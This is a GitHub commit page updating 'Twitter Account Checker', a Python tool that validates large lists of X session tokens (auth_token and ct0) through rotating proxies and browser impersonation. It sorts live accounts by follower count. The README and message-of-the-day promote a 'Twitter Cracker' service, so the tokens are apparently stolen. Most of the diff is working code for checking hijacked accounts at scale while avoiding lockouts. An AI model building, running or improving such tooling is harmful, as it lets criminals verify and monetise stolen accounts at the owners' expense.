Skip to content

Commit

Permalink
Bump to 8.0
Browse files Browse the repository at this point in the history
Bump to 8.0
  • Loading branch information
FatBeeBHW committed Oct 30, 2024
1 parent e8253b5 commit 6515f32
Show file tree
Hide file tree
Showing 6 changed files with 133 additions and 105 deletions.
57 changes: 38 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,43 +1,62 @@
# Twitter Account Checker

# Twitter Account Checker 🐦

[![xcloud](https://raw.githubusercontent.com/FatBeeBHW/Twitter-Account-Checker/main/ad.jpg)](https://t.me/twittercrack)

![fatbee twitter checker](https://github.com/FatBeeBHW/Twitter-Account-Checker/assets/121733071/925583c0-24c6-4eeb-8630-9a557e521cff)

Fast, reliable Twitter Account Checker that doesn't lock accounts on check. Yet. And the best part? its free.
Far from perfect code, but feel free to correct whatever you feel it needs correction and open a PR.
Fast and reliable Twitter Account Checker that’s safe to use without risking account locks (for now). Best part? It's completely free! 🎉

The checker supports any format that ends with ct0:auth_token or just auth_token (basically, any format.)
Feel free to improve the code and open a PR if you see room for enhancements. This checker supports any account format that ends with `ct0:auth_token` or simply `auth_token`.

Telegram Chat: https://t.me/twitterfunhouse
📢 **Join our Telegram Chat**: [Twitter Funhouse](https://t.me/twitterfunhouse)

# What do i need to use it?
---

- Some accounts, duh.
- Rota proxy
- Or no proxy at all.
## 🚀 Features

# Config Explanation
- **Flexible Format:** Works with any format ending in `ct0:auth_token` or just `auth_token`.
- **Customizable Settings:** Adjust threads, follower count, and other options.
- **Proxies Optional:** Use with a rotating proxy for optimal results, but works without one too.

---

```json
## 🔧 Requirements

- Some Twitter accounts to check, obviously. 😉
- Ideally, a rotating proxy, though a proxy isn’t strictly necessary in case you need to check few accounts.

---

## ⚙️ Configuration Guide

Customize your settings using the following configuration format:

```json
{
"proxy": "https://beeproxies.com | Telegram: @buybee_bot", # Your proxy, ideally rotating one (username:password@host:port)
"threads": 100, # How fast we go, if you are unsure keep it under 50, ideally 20 (heavlly depends on your system and proxy.)
"update_console": true, # Dont want messy BRRRRRRRRRR console? Set it to false.
"save_followers_count": false, # Save followers count for stat accounts.
"ct0_fix": false, # If your token have broken ct0 but valid auth_token, enable this and it will be fixed.
"followers_range": { # Set ranges for collecting stat accounts format is "Number Of followers":"File Name", must have one. Ideally 2.
"proxy": "https://beeproxies.com | Telegram: @buybee_bot", // Your proxy, ideally rotating (format: username:password@host:port)
"threads": 500, // Speed of checks. For most setups, keep under 200; ideally 100 (depends on your system and proxy).
"update_console": true, // Set to false to reduce console clutter.
"save_followers_count": false, // Enable to save follower count for stat accounts.
"ct0_fix": false, // Set to true if ct0 token is broken but auth_token is valid.
"followers_range": { // Ranges for saving stat accounts by followers, format is "Follower Count":"File Name"
"100000": "100000plus",
"10000": "10000plus",
"1000": "1000plus",
"30": "30plus"
}
}
```

---

```
## 🛠️ Building the Checker into an Executable

# How to build in to exe
To create an executable from the script, use **PyInstaller** with the following command:

```bash
pyinstaller.exe --onefile --name "Twitter Token Checker @fatbeebhw" --icon="icon.png" --collect-all "pyfiglet" main.py
```

This will bundle everything into a single executable file named **"Twitter Token Checker @fatbeebhw"** with an icon of your choice.

142 changes: 74 additions & 68 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,19 +1,21 @@
import asyncio
import curl_cffi
from curl_cffi.requests import AsyncSession
from rich import print
import platform
from time import perf_counter
import aiohttp
import json
from aiohttp import ClientSession, ClientTimeout, TCPConnector
import random
import aiofiles
import psutil
from util.const import *
from util.helpers import load_tokens, banner, check_completed, cleanup_files
from rich.progress import Progress
import os
import warnings
import orjson

warnings.filterwarnings("ignore")
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

if platform.system() == "Windows" and asyncio.get_event_loop_policy().get_event_loop() is asyncio.ProactorEventLoop:
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

total_valid = 0
total_dead = 0
Expand All @@ -32,77 +34,80 @@ async def validity(auth_token, ct0=None, extra=None):
cookies['ct0'] = ct0
PROFILE_HEADERS['x-csrf-token'] = ct0

async with ClientSession(connector=TCPConnector(ssl=False, limit=10000000000, enable_cleanup_closed=True), timeout=ClientTimeout(total=10)) as client:
async with AsyncSession(proxy=PROXY, impersonate=random.choice(["chrome124", "chrome123"]), timeout=10, max_clients=1) as client:
while True:
try:
if not ct0 or CT0_FIX:
response = await client.head('https://business.x.com/', headers=PROFILE_HEADERS, cookies=cookies)

async with client.get('https://api.x.com/1.1/account/update_profile.json', headers=PROFILE_HEADERS, cookies=cookies, proxy=PROXY) as response:
set_cookie_header = response.headers.getall(
'Set-Cookie')
new_ct0 = next((s.split(';')[0].split(
'=')[1] for s in set_cookie_header if 'ct0' in s), None)
if new_ct0:
cookies['ct0'] = new_ct0
PROFILE_HEADERS['x-csrf-token'] = new_ct0
if CT0_FIX:
ct0 = new_ct0

async with client.post('https://api.x.com/1.1/account/update_profile.json', headers=PROFILE_HEADERS, cookies=cookies, proxy=PROXY) as response:

source = await response.text()
response_json = json.loads(source)

error_info = response_json.get('errors', [{}])[0]
error_code = error_info.get('code', response.status)
bounce_location = error_info.get('bounce_location', '')

status_map = {
326: ("bold steel_blue1", "LOCKED") if not bounce_location == '/i/flow/consent_flow' else ("bold yellow", "CONSENT"),
200: ("bold chartreuse1", "VALID"),
32: ("red", "DEAD"),
64: ("bold red3", "SUSPENDED"),
}

status_color, status_text = status_map.get(
error_code, ("bold red", "UNKNOWN"))
ct0_value = response.cookies.get('ct0')

if status_text in ("UNKNOWN", None):
if ct0_value:
cookies['ct0'] = ct0_value
PROFILE_HEADERS['x-csrf-token'] = ct0_value
if CT0_FIX:
ct0 = ct0_value
else:
continue

followers_count = response_json.get(
'followers_count', 0) if status_text == "VALID" else 0

composed_token = ':'.join(
str(item)
for sublist in [extra, ct0, auth_token]
for item in (sublist if isinstance(sublist, list) else [sublist])
if item is not None
)

if followers_count >= MIN_THRESHOLD:
output_file = next(
(f'output/{name}.txt' for threshold, name in THRESHOLDS.items() if followers_count >= threshold))
if SAVE_FOLLOWER_COUNT:
composed_token += f":{followers_count}\n"
else:
composed_token += "\n"
response = await client.post('https://api.x.com/1.1/account/update_profile.json', headers=PROFILE_HEADERS, cookies=cookies)

response_json = orjson.loads(response.content)

error_info = response_json.get('errors', [{}])[0]
error_code = error_info.get('code', response.status_code)
bounce_location = error_info.get('bounce_location', '')

status_map = {
326: ("bold steel_blue1", "LOCKED") if bounce_location != '/i/flow/consent_flow' else ("bold yellow", "CONSENT"),
200: ("bold chartreuse1", "VALID"),
32: ("red", "DEAD"),
64: ("bold red3", "SUSPENDED"),
}

status_color, status_text = status_map.get(
error_code, ("bold red", "UNKNOWN"))

# Check if the status is valid
if status_text == "VALID":
followers_count = response_json.get('followers_count', 0)
elif status_text in ("DEAD", "SUSPENDED", "LOCKED", "CONSENT"):
followers_count = 0
else:
continue

composed_token = ':'.join(
str(item)
for sublist in [extra, ct0, auth_token]
for item in (sublist if isinstance(sublist, list) else [sublist])
if item is not None
)

if followers_count >= MIN_THRESHOLD:
output_file = next(
(f'output/{name}.txt' for threshold, name in THRESHOLDS.items() if followers_count >= threshold))
if SAVE_FOLLOWER_COUNT:
composed_token += f":{followers_count}\n"
else:
composed_token += "\n"
output_file = f'output/{status_text.lower()}.txt'

async with write_lock:
async with aiofiles.open(output_file, mode='a', encoding="latin-1") as f:
try:
await f.write(composed_token)
await f.flush()
except Exception as e:
print(f"Error writing to {output_file}: {e}")
if UPDATE_CONSOLE:
print(f"[{status_color}][[bold white]*[{status_color}]] [{status_color}]{auth_token} [bold white][[{status_color}]{status_text}[bold white]] | Followers: {followers_count:,}")

return status_text
except (aiohttp.ClientError, asyncio.TimeoutError, Exception):
else:
composed_token += "\n"
output_file = f'output/{status_text.lower()}.txt'

async with write_lock:
async with aiofiles.open(output_file, mode='a', encoding="latin-1") as f:
try:
await f.write(composed_token)
await f.flush()
except Exception as e:
print(f"Error writing to {output_file}: {e}")
if UPDATE_CONSOLE:
print(f"[{status_color}][[bold white]*[{status_color}]] [{status_color}]{
auth_token} [bold white][[{status_color}]{status_text}[bold white]] | Followers: {followers_count:,}")

return status_text
except (curl_cffi.CurlError, curl_cffi.CurlECode, Exception) as e:
print(e)
return None


Expand All @@ -128,6 +133,7 @@ async def worker(token_queue, progress, task, total_tokens):
auth_token = components[-1]
ct0_value = components[-2] if len(components) > 1 else None
remaining_components = components[:-2]

status_text = await validity(auth_token, ct0=ct0_value, extra=remaining_components)
async with count_semaphore:
status_counters = {
Expand Down
6 changes: 3 additions & 3 deletions motd.json
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
{
"date": "2024-06-06",
"message": "[green]- Update to 7.0.0[/green]\n- Added MOTD for consistent updates provided to the users. (this)\n- New release (exe) hopefully will prevent issues running and as well improve performance.\n\n[blue]- Proxies:[/blue] beeproxies.com (@buybee_bot)\n[blue]- xCloud[/blue] (Twitter Cracker): @twittercrack",
"version": "7.0.0"
"date": "2024-10-30",
"message": "[green]- Update to 8.0.0[/green]\n- Fix for whatever was broken before. \n- New release/version bump (exe).\n\n[blue]- Proxies:[/blue] beeproxies.com (@buybee_bot)\n[blue]- xCloud[/blue] (Twitter Cracker): @twittercrack",
"version": "8.0.0"
}
9 changes: 5 additions & 4 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
aiofiles==23.2.1
aiohttp==3.8.5
pyfiglet==0.8.post1
rich==13.5.2
aiofiles
aiohttp
rich
orjson
curl_cffi
10 changes: 5 additions & 5 deletions util/const.py
Original file line number Diff line number Diff line change
@@ -1,14 +1,14 @@
import json

VERSION = "7.0.0"
VERSION = "8.0.0"

PROFILE_HEADERS = {
'x-twitter-client-language': 'en',
'authorization': 'Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA',
'content-type': 'application/x-www-form-urlencoded',
'Referer': 'https://x.com/',
'authorization': 'Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
'x-twitter-active-user': 'yes',
'x-twitter-auth-type': 'OAuth2Session',
'x-twitter-client-language': 'en'
'x-twitter-active-user': 'yes',
}

with open("config.json", "r") as f:
Expand Down
14 changes: 8 additions & 6 deletions util/helpers.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,15 +52,16 @@ def banner(threads):
cls()

print(f"""[yellow] _____ _ ____ _ ____ _ _
| ___|_ _| |_| __ ) ___ ___( )___ / ___| |__ ___ ___| | _____ _ __
| ___|_ _| |_| __ ) ___ ___( )___ / ___| |__ ___ ___| | _____ _ __
| |_ / _` | __| _ \ / _ \/ _ \// __| | | | '_ \ / _ \/ __| |/ / _ \ '__|
| _| (_| | |_| |_) | __/ __/ \__ \ | |___| | | | __/ (__| < __/ |
| _| (_| | |_| |_) | __/ __/ \__ \ | |___| | | | __/ (__| < __/ |
|_| \__,_|\__|____/ \___|\___| |___/ \____|_| |_|\___|\___|_|\_\___|_|""")
print(
f"[bold white]🐝 Made by [bold yellow]FatBee[/bold yellow] | 💬 Telegram: [bold cyan]@fatbeebhw[/bold cyan] | 💬 Telegram Group: [bold cyan]@twitterfunhouse[/bold cyan] | ✅ Version: [bold light_green]{VERSION}[/bold light_green ] " # nopep8
)
timestamp = int(time.time())
motd_url = f"https://raw.githubusercontent.com/FatBeeBHW/Twitter-Account-Checker/main/motd.json?token={timestamp}"
motd_url = f"https://raw.githubusercontent.com/FatBeeBHW/Twitter-Account-Checker/main/motd.json?token={
timestamp}"
motd_data = fetch_motd(motd_url)

try:
Expand Down Expand Up @@ -134,14 +135,15 @@ def check_completed(t1_start, total_tokens, total_valid, total_dead, total_locke
final_time = round(perf_counter() - t1_start)
mm, ss = divmod(final_time, 60)
timestamp = int(time.time())
motd_url = f"https://raw.githubusercontent.com/FatBeeBHW/Twitter-Account-Checker/main/motd.json?token={timestamp}"
motd_url = f"https://raw.githubusercontent.com/FatBeeBHW/Twitter-Account-Checker/main/motd.json?token={
timestamp}"
motd_data = fetch_motd(motd_url)

os.system("title FatBee's Account Checker")
print(f"""[yellow] _____ _ ____ _ ____ _ _
| ___|_ _| |_| __ ) ___ ___( )___ / ___| |__ ___ ___| | _____ _ __
| ___|_ _| |_| __ ) ___ ___( )___ / ___| |__ ___ ___| | _____ _ __
| |_ / _` | __| _ \ / _ \/ _ \// __| | | | '_ \ / _ \/ __| |/ / _ \ '__|
| _| (_| | |_| |_) | __/ __/ \__ \ | |___| | | | __/ (__| < __/ |
| _| (_| | |_| |_) | __/ __/ \__ \ | |___| | | | __/ (__| < __/ |
|_| \__,_|\__|____/ \___|\___| |___/ \____|_| |_|\___|\___|_|\_\___|_|""")
print(
f"[bold white]🐝 Made by [bold yellow]FatBee[/bold yellow] | 💬 Telegram: [bold cyan]@fatbeebhw[/bold cyan] | 💬 Telegram Group: [bold cyan]@twitterfunhouse[/bold cyan] | ✅ Version: [bold light_green]{VERSION}[/bold light_green]")
Expand Down

0 comments on commit 6515f32

Please sign in to comment.